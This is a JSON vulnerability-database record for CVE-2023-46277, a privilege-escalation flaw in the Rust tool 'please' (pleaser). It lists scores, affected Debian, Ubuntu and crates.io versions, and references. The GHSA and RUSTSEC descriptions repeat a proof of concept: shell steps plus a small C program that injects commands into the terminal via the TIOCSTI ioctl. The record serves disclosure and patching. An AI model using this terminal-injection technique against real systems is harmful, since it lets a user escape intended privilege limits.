{"id":"CVE-2023-46277","aliases":["DEBIAN-CVE-2023-46277","EUVD-2023-2716","GHSA-cgf8-h3fp-h956","RUSTSEC-2023-0066","UBUNTU-CVE-2023-46277"],"status":"published","title":"Pleaser privilege escalation vulnerability","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","severity":{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.00308,"percentile":0.23782,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-269"],"published":"2023-04-29T12:00:00Z","modified":"2026-10-28T02:30:27Z","affected":[{"source":"ghsa","ecosystem":"crates.io","package":"pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.4"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"rust-pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.3-2","0.5.4-1","0.5.4-2","0.5.5-1","0.5.5-2","0.5.5-3","0.5.6-1","0.5.6-2"]},{"source":"osv","ecosystem":"Debian:13","package":"rust-pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.6-1","0.5.6-2"]},{"source":"osv","ecosystem":"Debian:14","package":"rust-pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.6-1","0.5.6-2"]},{"source":"osv","ecosystem":"crates.io","package":"pleaser","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.5.4"}]}]},{"source":"osv","ecosystem":"crates.io","package":"pleaser","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"}]}]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"rust-pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.1-2ubuntu1","0.5.1-1","0.5.1-3","0.5.1-4","0.5.1-4ubuntu0.22.04.1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"rust-pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.3-2","0.5.4-1","0.5.5-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"rust-pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.6-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.6-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-pleaser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.6-1","0.5.6-2"]}],"products":[{"vendor":"edneville","product":"please"}],"references":[{"url":"https://gitlab.com/edneville/please/-/issues/13","tags":["x_transferred","Exploit","Issue Tracking","report","web"]},{"url":"https://gitlab.com/edneville/please/-/merge_requests/69#note_1594254575","tags":["x_transferred","Issue Tracking","Patch","fix","web","report"]},{"url":"https://github.com/rustsec/advisory-db/pull/1798","tags":["x_transferred","Issue Tracking","Patch","fix","web","report"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2023-0066.html","tags":["x_transferred","Third Party Advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46277","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cgf8-h3fp-h956"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/46xxx/CVE-2023-46277.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-46277","tags":["advisory"]},{"url":"https://gitlab.com/edneville/please","tags":["package"]},{"url":"https://crates.io/crates/pleaser","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2023-46277","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-46277","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2023-46277","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","status":"published","published":"2023-10-20T00:00:00Z","modified":"2024-09-12T14:43:57.551Z","cwes":["CWE-269"],"updated_at":"2026-11-02T14:35:23.645864Z"}],"euvd":[{"id":"EUVD-2023-2716","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","status":"published","published":"2023-10-20T00:00:00Z","modified":"2024-09-12T14:43:57Z","updated_at":"2026-11-03T00:55:57.273476Z"}],"ghsa":[{"id":"GHSA-cgf8-h3fp-h956","title":"Pleaser privilege escalation vulnerability","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test \u0026\u0026 cargo build --release\n$ echo \"[${USER}_as_nobody]\"$'\\nname='\"${USER}\"$'\\ntarget=nobody\\nrule=.*\\nrequire_pass=false' | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat \u003c\u003cTIOCSTI_C_EOF | tee TIOCSTI.c\n#include \u003csys/ioctl.h\u003e\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.\n","status":"published","published":"2023-10-20T06:30:19Z","modified":"2024-09-12T18:41:43Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:38:02.014847Z"}],"nvd":[{"id":"CVE-2023-46277","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","status":"published","published":"2023-10-20T05:15:08.487Z","modified":"2026-06-17T06:30:34.02Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:08:39.058878Z"}],"osv":[{"id":"DEBIAN-CVE-2023-46277","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","status":"published","published":"2023-10-20T05:15:08.487Z","modified":"2026-10-26T18:01:44.934594762Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:40.275853Z"},{"id":"GHSA-cgf8-h3fp-h956","title":"Pleaser privilege escalation vulnerability","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test \u0026\u0026 cargo build --release\n$ echo \"[${USER}_as_nobody]\"$'\\nname='\"${USER}\"$'\\ntarget=nobody\\nrule=.*\\nrequire_pass=false' | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat \u003c\u003cTIOCSTI_C_EOF | tee TIOCSTI.c\n#include \u003csys/ioctl.h\u003e\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.\n","status":"published","published":"2023-10-20T06:30:19Z","modified":"2024-09-12T18:41:42Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"RUSTSEC-2023-0066","title":"Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX","description":"please is vulnerable to privilege escalation using ioctls TIOCSTI\nand TIOCLINUX on systems where they are not disabled.\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test \u0026\u0026 cargo build --release\n$ echo \"[${USER}_as_nobody]\"$'\\nname='\"${USER}\"$'\\ntarget=nobody\\nrule=.*\\nrequire_pass=false' | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat \u003c\u003cTIOCSTI_C_EOF | tee TIOCSTI.c\n#include \u003csys/ioctl.h\u003e\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.","status":"published","published":"2023-04-29T12:00:00Z","modified":"2024-02-10T15:57:43Z","cvss":[{"version":"3.1","score":4.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:39.971022Z"},{"id":"UBUNTU-CVE-2023-46277","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","status":"published","published":"2023-10-20T05:15:00Z","modified":"2026-10-17T12:56:25.887800618Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:22.741943Z"},{"id":"CVE-2023-46277","description":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)","status":"published","published":"2023-10-20T00:00:00Z","modified":"2026-10-28T02:30:27.11139113Z","updated_at":"2026-11-02T15:44:34.287121Z"}]}}
